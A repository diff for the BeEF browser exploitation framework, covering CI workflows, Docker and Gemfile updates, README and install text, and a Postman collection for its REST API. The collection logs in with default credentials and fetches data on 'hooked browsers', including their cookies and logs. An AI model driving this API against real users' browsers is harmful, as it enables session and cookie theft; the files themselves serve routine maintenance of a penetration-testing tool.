---
BUNDLE_WITHOUT: "development:test"

9
.dockerignore Normal file
View File

@@ -0,0 +1,9 @@
# Don't copy over git files
.git
.github
.gitignore
doc
docs
scripts
test
update-beef

84
.github/CONTRIBUTING.md vendored Normal file
View File

@@ -0,0 +1,84 @@
# Contributing
### Anyone is welcome to make BeEF better!
Thank you for wanting to contribute to BeEF. It's effort like yours that helps make BeEF such a great tool.
Following these guidelines shows that you respect the time of the developers developing this open source project and helps them help you. In response to this, they should return that respect in addressing your issue, assisting with changes, and helping you finalize your pull requests.
### We want any form of helpful contributions!
BeEF is an open source project and we love to receive contributions from the community! There are many ways to contribute, from writing tutorials or blog posts, improving or translating the documentation, answering questions on the project, submitting bug reports and feature requests or writing or reviewing code which can be merged into BeEF itself.
# Ground Rules
### Responsibilities
> * When making an issue, ensure the issue template is filled out, failure to do so can and will result in a closed ticket and a delay in support.
> * We now have a two-week of unresponsiveness period before closing a ticket, if this happens, just comment responding to the issue which will re-open the ticket. Ensure to make sure all information requested is provided.
> * Ensure cross-platform compatibility for every change that's accepted. Mac and Linux are currently supported.
> * Create issues for any major changes and enhancements that you wish to make. Discuss things transparently and get community feedback.
> * Ensure language is as respectful and appropriate as possible.
> * Keep merges as straightforward as possible, only address one issue per commit where possible.
> * Be welcoming to newcomers and try to assist where possible, everyone needs help.
# Where to start
### Looking to make your first contribution
Unsure where to begin contributing to BeEF? You can start by looking through these issues:
* Good First Issue - issues which should only require a few changes, and are good to start with.
* Question - issues which are a question and need a response. A good way to learn more about BeEF is to try to solve a problem.
At this point, you're ready to make your changes! Feel free to ask for help; everyone is a beginner at first.
If a maintainer asks you to "rebase" your PR, they're saying that code has changed, and that you need to update your branch so it's easier to merge.
### Ruby best practise
Do read through: https://rubystyle.guide
Try and follow through with the practices throughout, even going through it once will help keep the codebase consistent.
Use Rubocop to help ensure that the changes adhere to current standards, we are currently catching up old codebase to match.
Just run the following in the /beef directory.
> rubocop
# Getting started
### How to submit a contribution.
1. Create your own fork of the code
2. Checkout the master branch
> git checkout master
3. Create a new branch for your feature
> git checkout -b my-cool-new-feature
4. Add your new files
> git add modules/my-cool-new-module
5. Modify or write a test case/s in Rspec for your changes
6. Commit your changes with a relevant message
> git commit
7. Push your changes to GitHub
> git push origin my-cool-new-feature
8. Run all tests again to make sure they all pass
9. Edit existing wiki page / add a new one explaining the new features, including:
- sample usage (command snippets, steps and/or screenshots)
- internal working (code snippets & explanation)
10. Now browse to the following URL and create your pull request from your fork to beef master
- Fill out the Pull Request Template
- https://github.com/beefproject/beef/pulls
# How to report a bug
If you find a security vulnerability, do NOT open an issue. Email security@beefproject.com instead.
When the security team receives a security bug email, they will assign it to a primary handler.
This person will coordinate the fix and release process, involving the following steps:
* Confirm the problem and find the affected versions.
* Audit code to find any potential similar problems.
* Prepare fixes

View File

@@ -1,49 +1,31 @@
Verify first that your issue/request has not been posted previously:
## First Steps
* https://github.com/beefproject/beef/issues
* https://github.com/beefproject/beef/wiki/FAQ
1. Confirm that your issue has not been posted previously by searching here: https://github.com/beefproject/beef/issues
2. Confirm that the wiki does not contain the answers you seek: https://github.com/beefproject/beef/wiki
3. Check the FAQ: https://github.com/beefproject/beef/wiki/FAQ
4. BeEF Version:
5. Ruby Version:
6. Browser Details (e.g. Chrome v81.0):
7. Operating System (e.g. OSX Catalina):
Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/beef-0.4.7.2).
## Configuration
1. Have you made any changes to your BeEF configuration? Yes/No
2. Have you enabled or disabled any BeEF extensions? Yes/No
#### Environment
## Steps to Reproduce
What version/revision of BeEF are you using?
1. (eg. I ran install script, which ran fine)
2. (eg. when launching console with './beef' I get an error as follows: <error here>)
3. (eg. beef does not launch)
On what version of Ruby?
## How to enable and capture detailed logging
On what browser?
1. Edit `config.yaml` in the root directory
* If using Kali **beef-xss** the root dir will be `/usr/share/beef-xss`
2. Update `client_debug` to `true`
3. Retrieve browser logs from your browser's developer console (Ctrl + Shift + I or F12 depending on browser)
4. Retrieve your server-side logs from `~/.beef/beef.log`
* If using **beef-xss** logs found with `journalctl -u beef-xss`
On what operating system?
#### Configuration
Are you using a non-default configuration?
Have you enabled or disabled any BeEF extensions?
#### Summary
Please provide a summary of the issue.
#### Expected Behaviour
What was the expected result?
#### Actual Behaviour
What was the actual result?
#### Steps to Reproduce
Please provide steps to reproduce this issue.
#### Additional Information
Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be enabled by specifying `debug: true` in the `config.yaml` configuration file.
**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**

20
.github/PULL_REQUEST_TEMPLATE.md vendored Normal file
View File

@@ -0,0 +1,20 @@
# Pull Request
Thanks for submitting a PR! Please fill in this template where appropriate:
## Category
*e.g. Bug, Module, Extension, Core Functionality, Documentation, Tests*
## Feature/Issue Description
**Q:** Please give a brief summary of your feature/fix
**A:**
**Q:** Give a technical rundown of what you have changed (if applicable)
**A:**
## Test Cases
**Q:** Describe your test cases, what you have covered and if there are any use cases that still need addressing.
**A:**
## Wiki Page
*If you are adding a new feature that is not easily understood without context, please draft a section to be added to the Wiki below.*

9
.github/SECURITY.md vendored Normal file
View File

@@ -0,0 +1,9 @@
send security bug reports to security@beefproject.com
**A security report should include:**
1. Description of the problem (what it is, what's the impact)
2. Technical steps to replicate it (commands / screenshots)
3. Actionable fix/recommendations to mitigate the issue

25
.github/dependabot.yml vendored Normal file
View File

@@ -0,0 +1,25 @@
version: 2
updates:
- package-ecosystem: npm
directory: "/"
schedule:
interval: daily
open-pull-requests-limit: 10
ignore:
- dependency-name: jsdoc-to-markdown
versions:
- 7.0.0
- package-ecosystem: bundler
directory: "/"
schedule:
interval: daily
open-pull-requests-limit: 10
ignore:
- dependency-name: rubocop
versions:
- 1.10.0
- 1.11.0
- 1.12.0
- 1.12.1
- 1.9.0
- 1.9.1

72
.github/workflows/codeql.yml vendored Normal file
View File

@@ -0,0 +1,72 @@
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"
on:
push:
branches: [ master ]
pull_request:
# The branches below must be a subset of the branches above
branches: [ master ]
schedule:
- cron: '36 1 * * 0'
jobs:
analyze:
name: Analyze
runs-on: ubuntu-latest
permissions:
actions: read
contents: read
security-events: write
strategy:
fail-fast: false
matrix:
language: [ 'javascript', 'ruby' ]
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
# Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
steps:
- name: Checkout repository
uses: actions/checkout@v3
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
with:
languages: ${{ matrix.language }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.
# Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
queries: security-extended,security-and-quality
# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
# If this step fails, then you should remove it and run the build manually (see below)
# - name: Autobuild
# uses: github/codeql-action/autobuild@v2
# Command-line programs to run using the OS shell.
# 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
# If the Autobuild fails above, remove it and uncomment the following three lines.
# modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.
# - run: |
# echo "Run, Build Application using script"
# ./location_of_script_within_repo/buildscript.sh
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2

59
.github/workflows/github_actions.yml vendored Normal file
View File

@@ -0,0 +1,59 @@
name: 'BrowserStack Test'
on:
pull_request_target:
branches: [ master ]
jobs:
approve:
runs-on: ubuntu-latest
steps:
- name: Approve
run: echo For security reasons, all pull requests need to be approved first before running any automated CI.
ubuntu-job:
name: 'BrowserStack Test on Ubuntu'
runs-on: ubuntu-latest # Can be self-hosted runner also
environment:
name: Integrate Pull Request
env:
GITACTIONS: true
steps:
- name: 'BrowserStack Env Setup' # Invokes the setup-env action
uses: browserstack/github-actions/setup-env@master
with:
username: ${{ secrets.BROWSERSTACK_USERNAME }}
access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }}
- name: 'BrowserStack Local Tunnel Setup' # Invokes the setup-local action
uses: browserstack/github-actions/setup-local@master
with:
local-testing: start
local-identifier: random
- name: 'Checkout the repository'
uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
fetch-depth: 2
- name: 'Setting up Ruby'
uses: ruby/setup-ruby@v1
with:
ruby-version: 3.0.3 # Not needed with a .ruby-version file
- name: 'Build and run tests'
run: |
sudo apt update
sudo apt install libcurl4 libcurl4-openssl-dev
bundle config unset --local without
bundle config set --local with 'test' 'development'
bundle install
bundle exec rake browserstack --trace
- name: 'BrowserStackLocal Stop' # Terminating the BrowserStackLocal tunnel connection
uses: browserstack/github-actions/setup-local@master
with:
local-testing: stop

35
.github/workflows/stale.yml vendored Normal file
View File

@@ -0,0 +1,35 @@
# This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time.
#
# You can adjust the behavior by modifying this file.
# For more information, see:
# https://github.com/actions/stale
name: Mark stale issues and pull requests
on:
schedule:
- cron: '5 * * * *'
jobs:
stale:
runs-on: ubuntu-latest
permissions:
issues: write
pull-requests: write
steps:
- uses: actions/stale@v5
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
days-before-stale: 7
days-before-pr-stale: 14
days-before-close: 7
days-before-pr-close: 14
stale-issue-message: 'This issue as been marked as stale due to inactivity and will be closed in 7 days'
stale-pr-message: 'Stale pull request message'
stale-issue-label: 'Stale'
stale-pr-label: 'no-pr-activity'
exempt-issue-labels: 'Critical, High, Low, Medium, Review, Backlog'
exempt-milestones: true
exempt-draft-pr: true
start-date: '2022-06-15'

18
.gitignore vendored
View File

@@ -9,13 +9,21 @@ custom-config.yaml
.rvmrc
beef.log
*.lock
extensions/metasploit/msf-exploits.cache
# ruby debugging
.byebug_history
# Bundler
/.bundle
/vendor
#simplecov
coverage/
# BrowserStack
local.log
# The following lines were created by https://www.gitignore.io
@@ -110,3 +118,11 @@ $RECYCLE.BIN/
test/thirdparty/msf/unit/.byebug_history
/load
### JSDoc ###
# Dependency directories
node_modules/
# Generated files
out/
doc/rdoc/

View File

@@ -4,21 +4,39 @@ AllCops:
- 'tmp/**/*'
- 'tools/**/*'
- 'doc/**/*'
TargetRubyVersion: 2.4
TargetRubyVersion: 3.0
NewCops: enable
Layout/LineLength:
Enabled: true
Max: 180
Metrics/AbcSize:
Enabled: false
Metrics/BlockLength:
Enabled: false
Metrics/ClassLength:
Enabled: false
Metrics/LineLength:
Enabled: false
Metrics/MethodLength:
Enabled: false
Metrics/ModuleLength:
Enabled: false
Metrics/PerceivedComplexity:
Enabled: false
Metrics/CyclomaticComplexity:
Enabled: false
Naming/ClassAndModuleCamelCase:
Enabled: false
Style/FrozenStringLiteralComment:
Enabled: false
Style/Documentation:
Enabled: false

View File

@@ -1 +1 @@
2.5.3
3.0.3

View File

@@ -1,22 +0,0 @@
language: ruby
rvm:
- 2.4.0
- 2.5.3
- 2.6.0
notifications:
email:
recipients:
- wade@bindshell.net
on_success: always
on_failure: always
addons:
apt:
packages:
- libsqlite3-dev
- build-essential
- patch
- ruby-dev
- zlib1g-dev
- liblzma-dev
- libcurl4-openssl-dev

View File

@@ -0,0 +1,49 @@
{
"id": "3b5f29e6-c8eb-4d23-bf52-c01255f22f08",
"name": "BeEF",
"values": [
{
"key": "hostname",
"value": "127.0.0.1",
"enabled": true
},
{
"key": "username",
"value": "beef",
"enabled": true
},
{
"key": "password",
"value": "beef",
"enabled": true
},
{
"key": "token",
"value": "",
"enabled": true
},
{
"key": "session",
"value": "",
"enabled": true
},
{
"key": "module_id",
"value": "",
"enabled": true
},
{
"key": "cmd_id",
"value": "",
"enabled": true
},
{
"key": "dnsrule_id",
"value": "",
"enabled": true
}
],
"_postman_variable_scope": "environment",
"_postman_exported_at": "2020-01-03T06:00:29.827Z",
"_postman_exported_using": "Postman/7.14.0"
}

63
Dockerfile Normal file
View File

@@ -0,0 +1,63 @@
###########################################################################################################
###########################################################################################################
## ##
## Please read the Wiki Installation section on set-up using Docker prior to building this container. ##
## BeEF does NOT allow authentication with default credentials. So please, at the very least ##
## change the username:password in the config.yaml file to something secure that is not beef:beef ##
## before building or you will to denied access and have to rebuild anyway. ##
## ##
###########################################################################################################
###########################################################################################################
# ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------
FROM ruby:2.7.5-alpine AS builder
LABEL maintainer="Beef Project: github.com/beefproject/beef"
# Install gems in parallel with 4 workers to expedite build process.=
ARG BUNDLER_ARGS="--jobs=4"
# Set gemrc config to install gems without Ruby Index (ri) and Ruby Documentation (rdoc) files
RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc
COPY . /beef
# Add bundler/gem dependencies and then install
RUN apk add --no-cache git curl libcurl curl-dev ruby-dev libffi-dev make g++ gcc musl-dev zlib-dev sqlite-dev && \
bundle install --gemfile=/beef/Gemfile $BUNDLER_ARGS && \
# Temp fix for https://github.com/bundler/bundler/issues/6680
rm -rf /usr/local/bundle/cache
WORKDIR /beef
# So we don't need to run as root
RUN chmod -R a+r /usr/local/bundle
# ------------------------------------- End of Builder 0 -------------------------------------------------
# ---------------------------- Start of Builder 1 - Final Build ------------------------------------------
FROM ruby:2.7.5-alpine
LABEL maintainer="Beef Project: github.com/beefproject/beef"
# Create service account to run BeEF
RUN adduser -h /beef -g beef -D beef
COPY --chown=1000:1000 . /beef
# Use gemset created by the builder above
COPY --from=builder /usr/local/bundle /usr/local/bundle
# Install BeEF's runtime dependencies
RUN apk add --no-cache curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses automake libtool bison nodejs
WORKDIR /beef
# Ensure we are using our service account by default
USER beef
# Expose UI, Proxy, WebSocket server, and WebSocketSecure server
EXPOSE 3000 6789 61985 61986
HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "curl", "-fS", "localhost:3000" ]
ENTRYPOINT ["/beef/beef"]
# ------------------------------------- End of Builder 1 -------------------------------------------------

34
Gemfile
View File

@@ -1,18 +1,19 @@
# BeEF's Gemfile
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
#gem 'simplecov', require: false, group: :test
gem 'net-smtp', require: false
gem 'eventmachine'
gem 'thin'
gem 'sinatra'
gem 'rack'
gem 'rack-protection'
gem 'sinatra', '>= 2.2.0'
gem 'rack', '>= 2.2.4'
gem 'rack-protection', '>= 2.2.0'
gem 'em-websocket' # WebSocket support
gem 'uglifier'
gem 'uglifier', '>= 4.2.0'
gem 'mime-types'
gem 'execjs'
gem 'ansi'
@@ -20,11 +21,10 @@ gem 'term-ansicolor', :require => 'term/ansicolor'
gem 'json'
gem 'rubyzip', '>= 1.2.2'
gem 'espeak-ruby', '>= 1.0.4' # Text-to-Voice
gem 'nokogiri', '>= 1.10.4'
gem 'rake'
gem 'otr-activerecord'
gem 'rake', '>= 13.0'
gem 'otr-activerecord', '>= 1.4.2'
gem 'sqlite3'
gem 'rubocop', '~> 1.36.0', require: false
# Geolocation support
group :geoip do
@@ -42,17 +42,19 @@ end
# Notifications extension
group :ext_notifications do
gem 'unf'
gem 'domain_name', '>= 0.5.20190701'
# Pushover
gem 'rushover'
# Slack
gem 'slack-notifier'
# Twitter
gem 'twitter', '>= 5.0.0'
gem 'twitter', '>= 7.0.0'
end
# DNS extension
group :ext_dns do
gem 'rubydns', '~> 0.7.3'
gem 'async-dns'
end
# QRcode extension
@@ -65,7 +67,7 @@ group :test do
gem 'test-unit'
gem 'test-unit-full'
gem 'rspec'
gem 'rdoc'
gem 'rdoc'
# curb gem requires curl libraries
# sudo apt-get install libcurl4-openssl-dev
gem 'curb'
@@ -78,9 +80,11 @@ group :test do
# sudo port install libxml2 libxslt
gem 'capybara'
# RESTful API tests/generic command module tests
gem 'rest-client', '>= 2.0.1'
gem 'rest-client', '>= 2.1.0'
gem 'irb'
gem 'pry-byebug'
gem "websocket-client-simple", "~> 0.6.0"
gem "browserstack-local", "~> 1.4"
end
source 'https://rubygems.org'

309
Gemfile.lock Normal file
View File

@@ -0,0 +1,309 @@
GEM
remote: https://rubygems.org/
specs:
activemodel (7.0.3.1)
activesupport (= 7.0.3.1)
activerecord (7.0.3.1)
activemodel (= 7.0.3.1)
activesupport (= 7.0.3.1)
activesupport (7.0.3.1)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
addressable (2.8.0)
public_suffix (>= 2.0.2, < 5.0)
ansi (1.5.0)
archive-zip (0.12.0)
io-like (~> 0.3.0)
ast (2.4.2)
async (1.30.3)
console (~> 1.10)
nio4r (~> 2.3)
timers (~> 4.1)
async-dns (1.3.0)
async-io (~> 1.15)
async-io (1.33.0)
async
browserstack-local (1.4.0)
buftok (0.2.0)
byebug (11.1.3)
capybara (3.37.1)
addressable
matrix
mini_mime (>= 0.1.3)
nokogiri (~> 1.8)
rack (>= 1.6.0)
rack-test (>= 0.6.3)
regexp_parser (>= 1.5, < 3.0)
xpath (~> 3.2)
childprocess (4.1.0)
coderay (1.1.3)
concurrent-ruby (1.1.10)
console (1.15.3)
fiber-local
curb (1.0.1)
daemons (1.4.1)
diff-lcs (1.5.0)
domain_name (0.5.20190701)
unf (>= 0.0.5, < 1.0.0)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
equalizer (0.0.11)
erubis (2.7.0)
espeak-ruby (1.1.0)
event_emitter (0.2.6)
eventmachine (1.2.7)
execjs (2.8.1)
ffi (1.15.5)
ffi-compiler (1.0.1)
ffi (>= 1.0.0)
rake
fiber-local (1.0.0)
geckodriver-helper (0.24.0)
archive-zip (~> 0.7)
hashie (5.0.0)
hashie-forbidden_attributes (0.1.1)
hashie (>= 3.0)
http (4.4.1)
addressable (~> 2.3)
http-cookie (~> 1.0)
http-form_data (~> 2.2)
http-parser (~> 1.2.0)
http-accept (1.7.0)
http-cookie (1.0.5)
domain_name (~> 0.5)
http-form_data (2.3.0)
http-parser (1.2.3)
ffi-compiler (>= 1.0, < 2.0)
http_parser.rb (0.6.0)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
io-console (0.5.11)
io-like (0.3.1)
irb (1.4.2)
reline (>= 0.3.0)
json (2.6.2)
matrix (0.4.2)
maxmind-db (1.1.1)
memoizable (0.4.2)
thread_safe (~> 0.3, >= 0.3.1)
method_source (1.0.0)
mime-types (3.4.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2022.0105)
mini_mime (1.1.2)
minitest (5.16.2)
mojo_magick (0.6.7)
msfrpc-client (1.1.2)
msgpack (~> 1)
msgpack (1.5.4)
multipart-post (2.2.3)
mustermann (3.0.0)
ruby2_keywords (~> 0.0.1)
naught (1.1.0)
net-protocol (0.1.3)
timeout
net-smtp (0.3.2)
net-protocol
netrc (0.11.0)
nio4r (2.5.8)
nokogiri (1.13.8-x86_64-linux)
racc (~> 1.4)
otr-activerecord (2.1.1)
activerecord (>= 4.0, < 7.1)
hashie-forbidden_attributes (~> 0.1)
parallel (1.22.1)
parseconfig (1.1.2)
parser (3.1.2.1)
ast (~> 2.4.1)
power_assert (2.0.1)
pry (0.14.1)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
psych (4.0.4)
stringio
public_suffix (4.0.7)
qr4r (0.6.1)
mojo_magick (~> 0.6.5)
rqrcode_core (~> 0.1)
racc (1.6.0)
rack (2.2.4)
rack-protection (3.0.2)
rack
rack-test (2.0.2)
rack (>= 1.3)
rainbow (3.1.1)
rake (13.0.6)
rdoc (6.4.0)
psych (>= 4.0.0)
regexp_parser (2.5.0)
reline (0.3.1)
io-console (~> 0.5)
rest-client (2.1.0)
http-accept (>= 1.7.0, < 2.0)
http-cookie (>= 1.0.2, < 2.0)
mime-types (>= 1.16, < 4.0)
netrc (~> 0.8)
rexml (3.2.5)
rqrcode_core (0.2.0)
rr (3.1.0)
rspec (3.11.0)
rspec-core (~> 3.11.0)
rspec-expectations (~> 3.11.0)
rspec-mocks (~> 3.11.0)
rspec-core (3.11.0)
rspec-support (~> 3.11.0)
rspec-expectations (3.11.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-mocks (3.11.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-support (3.11.0)
rubocop (1.36.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.2.1)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.20.1, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.21.0)
parser (>= 3.1.1.0)
ruby-progressbar (1.11.0)
ruby2_keywords (0.0.5)
rubyzip (2.3.2)
rushover (0.3.0)
json
rest-client
selenium-webdriver (4.5.0)
childprocess (>= 0.5, < 5.0)
rexml (~> 3.2, >= 3.2.5)
rubyzip (>= 1.2.2, < 3.0)
websocket (~> 1.0)
simple_oauth (0.3.1)
sinatra (3.0.2)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.2)
tilt (~> 2.0)
slack-notifier (2.4.0)
sqlite3 (1.5.3-x86_64-linux)
stringio (3.0.2)
sync (0.5.0)
term-ansicolor (1.7.1)
tins (~> 1.0)
test-unit (3.5.5)
power_assert
test-unit-context (0.5.1)
test-unit (>= 2.4.0)
test-unit-full (0.0.5)
test-unit
test-unit-context
test-unit-notify
test-unit-rr
test-unit-runner-tap
test-unit-notify (1.0.4)
test-unit (>= 2.4.9)
test-unit-rr (1.0.5)
rr (>= 1.1.1)
test-unit (>= 2.5.2)
test-unit-runner-tap (1.1.2)
test-unit
thin (1.8.1)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thread_safe (0.3.6)
tilt (2.0.11)
timeout (0.3.0)
timers (4.3.3)
tins (1.31.1)
sync
twitter (7.0.0)
addressable (~> 2.3)
buftok (~> 0.2.0)
equalizer (~> 0.0.11)
http (~> 4.0)
http-form_data (~> 2.0)
http_parser.rb (~> 0.6.0)
memoizable (~> 0.4.0)
multipart-post (~> 2.0)
naught (~> 1.0)
simple_oauth (~> 0.3.0)
tzinfo (2.0.5)
concurrent-ruby (~> 1.0)
uglifier (4.2.0)
execjs (>= 0.3.0, < 3)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (2.2.0)
webrick (1.7.0)
websocket (1.2.9)
websocket-client-simple (0.6.0)
event_emitter
websocket
xmlrpc (0.3.2)
webrick
xpath (3.2.0)
nokogiri (~> 1.8)
PLATFORMS
x86_64-linux
DEPENDENCIES
ansi
async-dns
browserstack-local (~> 1.4)
capybara
curb
domain_name (>= 0.5.20190701)
em-websocket
erubis
espeak-ruby (>= 1.0.4)
eventmachine
execjs
geckodriver-helper
irb
json
maxmind-db
mime-types
msfrpc-client
net-smtp
otr-activerecord (>= 1.4.2)
parseconfig
pry-byebug
qr4r
rack (>= 2.2.4)
rack-protection (>= 2.2.0)
rake (>= 13.0)
rdoc
rest-client (>= 2.1.0)
rspec
rubocop (~> 1.36.0)
rubyzip (>= 1.2.2)
rushover
selenium-webdriver
sinatra (>= 2.2.0)
slack-notifier
sqlite3
term-ansicolor
test-unit
test-unit-full
thin
twitter (>= 7.0.0)
uglifier (>= 4.2.0)
unf
websocket-client-simple (~> 0.6.0)
xmlrpc
BUNDLED WITH
2.3.14

View File

@@ -1,6 +1,6 @@
===============================================================================
Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
@@ -21,9 +21,9 @@ Or cloning the Git repository from Github:
Prerequisites
--------------
BeEF requires Ruby 2.4+.
BeEF requires Ruby 2.7+.
If your operating system package manager does not support Ruby version 2.4,
If your operating system package manager does not support Ruby version 2.7,
you can add the brightbox ppa repository for the latest version of Ruby:
$ sudo apt-add-repository -y ppa:brightbox/ruby-ng
@@ -67,5 +67,11 @@ it's best to regularly update BeEF to the latest version.
If you're using BeEF from the GitHub repository, updating is as simple as:
$ git pull
$ ./update-beef
Or pull the latest repo yourself and then update the gems with:
$ git pull
$ bundle

View File

@@ -1,6 +1,6 @@
===============================================================================
Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
@@ -28,21 +28,19 @@ __Bugs:__ https://github.com/beefproject/beef/issues
__Security Bugs:__ security@beefproject.com
__IRC:__ ircs://irc.freenode.net/beefproject
__Twitter:__ @beefproject
__Twitter:__ [@beefproject](https://twitter.com/beefproject)
__Discord:__ https://discord.gg/ugmKmHarKc
Requirements
------------
* Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
* [Ruby](http://ruby-lang.org): 2.4 or newer
* [Ruby](https://www.ruby-lang.org): 2.7 or newer
* [SQLite](http://sqlite.org): 3.x
* [Node.js](https://nodejs.org): 6 or newer
* [Node.js](https://nodejs.org): 10 or newer
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
* Selenium is required on OSX: brew install selenium-server-standalone (See https://github.com/shvets/selenium)
* Selenium is required on OSX: `brew install selenium-server-standalone` (See https://github.com/shvets/selenium)
Quick Start
-----------
@@ -55,13 +53,19 @@ The `install` script installs the required operating system packages and all the
$ ./install
```
For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt).
We also have an [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt) or the [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
Upon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF.
Documentation
---
* [User Guide](https://github.com/beefproject/beef/wiki#user-guide)
* [Frequently Asked Questions](https://github.com/beefproject/beef/wiki/FAQ)
* [JSdocs](https://beefproject.github.io/beef/index.html)
Usage
-----

View File

@@ -0,0 +1,567 @@
{
"info": {
"_postman_id": "3b47c3ff-c03f-446c-8edb-cacaab481425",
"name": "RESTful API",
"schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
},
"item": [
{
"name": "Authentication",
"event": [
{
"listen": "test",
"script": {
"id": "8e1a5f48-1d41-469d-a153-6cd5ee751912",
"exec": [
"var jsonData = JSON.parse(responseBody);",
"pm.environment.set(\"token\", jsonData.token);"
],
"type": "text/javascript"
}
}
],
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "{\n\t\"username\": \"{{username}}\",\n\t\"password\": \"{{password}}\"\n\t\n}",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/admin/login",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"admin",
"login"
]
},
"description": "In order to use the API, a token parameter must always be added to requests, otherwise a 401 error (Not Authorized) is returned.\n\nA new pseudo-random token is generated each time BeEF starts, using BeEF::Core::Crypto::api_token. The token is added to the BeEF::Configuration object.\n\nWhen BeEF starts the token is printed to the console. It should look something like:\n\n[16:02:47][*] RESTful API key: 320f3cf4da7bf0df7566a517c5db796e73a23f47\nGrabbing the Token from BeEF's API\n\nYou can issue a POST request to /api/admin/login using the BeEF credentials you have set in the main config.yaml file. This request will return the token in the response. You can parse the JSON and use it for your next requests requiring authentication."
},
"response": []
},
{
"name": "Get All Hooked Browsers",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/hooks?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"hooks"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Provides information (browser and OS version, cookies, enabled plugins, etc) about all hooked browsers (both online and offline)."
},
"response": []
},
{
"name": "Get Specific Hooked Browser",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/hooks/{{session}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"hooks",
"{{session}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "\n Provides information (browser and OS version, cookies, enabled plugins, etc) about a specific hooked browser.\n"
},
"response": []
},
{
"name": "Get All Hooked Browsers Logs",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/logs?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
